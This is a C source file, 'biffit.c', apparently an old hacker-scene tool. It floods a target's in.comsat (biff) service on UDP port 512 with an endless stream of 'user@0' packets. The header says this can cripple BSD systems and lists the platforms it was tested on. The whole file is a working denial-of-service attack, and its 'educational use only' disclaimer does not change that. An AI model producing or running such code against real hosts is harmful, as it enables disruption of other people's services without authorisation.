/*
 *  filename:  biffit.c
 *  author:    sygma @undernet
 *  problem:   in.comsat uses UDP, and forks, so just think about it. :)
 *	       IT CAN cripple BSD boxes.
 *  notes:     I wrote this for a friend to show him something,
 *	       I won't be held reponsible for the missuse most people do
 *	       with this stuff.  This is for Educational user only!
 *  tested on: Linux [slackware]
 *             FreeBSD 2.2.5-Stable
 * 	       NetBSD 1.2
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 

#define MYPORT 512

int i;

int main(int argc, char *argv[])
{
	int sockfd;
	struct sockaddr_in their_addr; /* connector's address information */
	struct hostent *he;
	int numbytes;
	char message[80];

	if (argc != 3) {
	    fprintf(stderr,"usage: \n");
	    fprintf(stderr,"    %s [hostname] [username]\n",argv[0]);
	    exit(1);
	}

	if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
	    herror("gethostbyname");
	    exit(1);
	}

	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
	    perror("socket");
	    exit(1);
	}

	their_addr.sin_family = AF_INET;      /* host byte order */
	their_addr.sin_port = htons(MYPORT);  /* short, network byte order */
	their_addr.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */

	i=0;
	sprintf(message,"%s@0",argv[2]);
	while(1)
	{
		if ((numbytes=sendto(sockfd, message, strlen(message), 0, 
             	(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
		{
			perror("recvfrom");
			exit(1);
        	}

		i++;
		if (i==10000) {printf(".");i=0;}
		// fuck usleep(100);
	}
	close(sockfd);

	return 0;
}
